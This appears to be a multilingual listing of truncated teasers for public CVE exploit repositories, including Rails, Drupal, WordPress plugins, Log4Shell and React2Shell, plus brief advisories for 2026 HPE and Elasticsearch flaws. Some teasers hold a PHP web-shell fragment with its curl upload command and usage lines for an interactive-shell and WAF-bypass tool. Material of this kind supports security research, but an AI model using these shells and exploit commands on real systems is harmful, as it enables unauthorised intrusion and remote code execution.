CVE-2019-11231-PoC

GetSimpleCMS CVE-2019-11231 RCE エクスプロイト GetSimpleCMS ≤ 3.3.15 用 認証なしリモートコード実行エクスプロイト 脆弱性 GetSimpleCMS は機密ファイルを公開します（/data/other/authorization.xml、/data/users/）。これにより攻撃者は以下を実行できます： 1. API キーとユーザー名の漏洩 2. 認証クッキーの偽造 3. CSRF トークンの取得 4. 任意の PHP コードのアップロードと実行 CVSS スコア: 9.8（緊急） 使い方 root@kitploit: pip...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

CVE-2025-14598

CVE-2025-14598 CVSS: 9.8 認証されていないリモートSQLインジェクションによるリモートコード実行 エグゼクティブサマリー BET e-Portal（学生情報および試験結果管理のために教育機関で広く導入されているソフトウェアソリューション）のログイン機能にSQLインジェクションの脆弱性が特定されました。この脆弱性により、認証されていない攻撃者がバックエンドのSQLクエリに干渉し、特定の構成ではリモートコード実行にまでエスカレーションする可能性がありました。この問題はCERT/CCを通じて報告・調整され、CVE-2025-14598 が割り当てられました。...

Log4Shell-CVE-2021-44228-PoC

Log4Shell CVE-2021-44228: 概要 Apache Log4j2 2.0-beta9 から 2.15.0 まで（ただし 2.12.2、2.12.3、2.3.1 は除く） 設定、ログメッセージ、およびパラメータで使用される JNDI 機能は、攻撃者が制御する LDAP およびその他の JNDI 関連エンドポイントから保護しません。メッセージルックアップ置換が有効な場合、ログメッセージまたはログメッセージパラメータを制御できる攻撃者は、LDAP サーバーからロードされた任意のコードを実行できます。log4j 2.15.0...

CVE-2025-55182-PoC

React2Shell CVE-2025-55182 PoC 사용법 root@kitploit: Interactive shell ./react2shell -u http://target:3000 Single command ./react2shell -u http://target:3000 -c "id" WAF bypass 128KB junk data ./react2shell -u http://target:3000 -waf 128 빌드 root@kitploit: go build -o react2shell . 옵션 플래그| 설명 ---|---...

CVE-2015-3224

CVE-2015-3224 エクスプロイト - Rails Web Console RCE CVE-2015-3224 のエクスプロイトのJavaScript実装（Node.js）です。このツールは、脆弱性のあるバージョンの web-console gem を実行しているRuby on Railsアプリケーションを標的とし、認証なしのリモートコード実行（RCE）を可能にします。 脆弱性について CVE-2015-3224 により、攻撃者はRailsの web-console gem のIPホワイトリスト保護をバイパスできます。 web-console...

CVE-2025-55182-react2shell

react2shell CVE-2025-55182 툴킷. Next.js에서 RSC 페이로드 주입을 통한 인증되지 않은 RCE를 위한 스캐너 + 익스플로잇. Node.js 익스플로잇: 종속성 없음. Bash 스캐너: 단일 URL 또는 대량 목록을 확인합니다. 익스플로잇 root@kitploit: 출력이 있는 단일 명령 ./react2shell.mjs -t http://target:3000 -c "id" 대화형 유사 셸 ./react2shell.mjs -t http://target:3000 -i 대상에 바이너리 배포 다운로드 +...

CVE-2026-76658

A vulnerability has been identified in the SSH daemon of HPE Networking Fabric Composer that could allow an unauthenticated remote attacker to gain administrative access to vulnerable AFC hosts. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on...

CVE-2026-73716

A remote code execution vulnerability exists in the underlying operating system of HPE Networking Fabric Composer that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful...

CVE-2026-73720

Insecure file operations in the API of HPE Networking Fabric Composer could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system...

CVE-2026-73712

A vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an attacker to...

CVE-2026-73713

Local privilege-escalation vulnerabilities have been discovered in HPE Networking Fabric Composer. Successful exploitation of these vulnerabilities could allow a local attacker to achieve arbitrary code execution with root privileges on the underlying operating system of the affected system...

CVE-2026-72649

Deserialization of Untrusted Data CWE-502 in the Elasticsearch machine learning component can lead to remote code execution via Object Injection CAPEC-586. A specially crafted trained model artifact could cause attacker-controlled logic to execute with a materially broader system-call surface tha...

CVE-2026-45221

Konga before 2.1.0 contains a privilege escalation vulnerability that allows low-privileged local attackers to execute arbitrary code by planting attacker-controlled OpenSSL configuration or library files in a hardcoded filesystem path absent from default installations. On Windows, the missing...

CVE-2026-19766

An authentication bypass vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code as a privileged user on the underlying operating system, leading to complete...

CVE-2022-1329

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 원격 코드 실행 root@kitploit: 날짜: 2023년 4월 16일 공격자: Việt Hùng https://github.com/phanthibichtram12 공급자 홈페이지: https://elementor.com/ 소프트웨어 링크: https://wordpress.org/plugins/elementor/advanced/ 아래로 스크롤하여 버전 선택 버전: 3.6.0, 3.6.1, 3.62 테스트 환경: WordPress 5.9.3 이...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 자동 셸 업로드 WordPress Royal Elementor 1.3.78 셸 업로드 방문 https://phankz.com...

CVE-2022-1565

WordPress Plugin WP All Import = 3.6.7 - リモートコード実行 RCE 認証済み root@kitploit: 日付: 2023年11月5日 エクスプロイト作者: Việt HÙng https://github.com/phanthibichtram12 ベンダーホームページ: https://www.wpallimport.com/ ソフトウェアリンク: https://wordpress.org/plugins/wp-all-import/advanced/ 下にスクロールしてバージョンを選択 バージョン: = 3.6.7 テスト済み: 3.6...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600 Drupal远程代码执行 感谢以下贡献者： 文件| Drupal版本| 来源| 备注 ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py| 8|...

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-

リモートコード実行脆弱性（CVE-2024-7954）の悪用 ソフトウェア脆弱性テストプロジェクト 提出者: Shivansh Kuntal 概要 このプロジェクトは、SPIP CMS の porteplume プラグインに影響を与える重大なリモートコード実行（RCE）脆弱性である CVE-2024-7954 の悪用を実証するものです。 この脆弱性により、認証されていない攻撃者 が細工したHTTP POSTリクエストを介して、対象サーバー上で任意のPHPコードを実行することができます。 テストは管理されたローカル環境...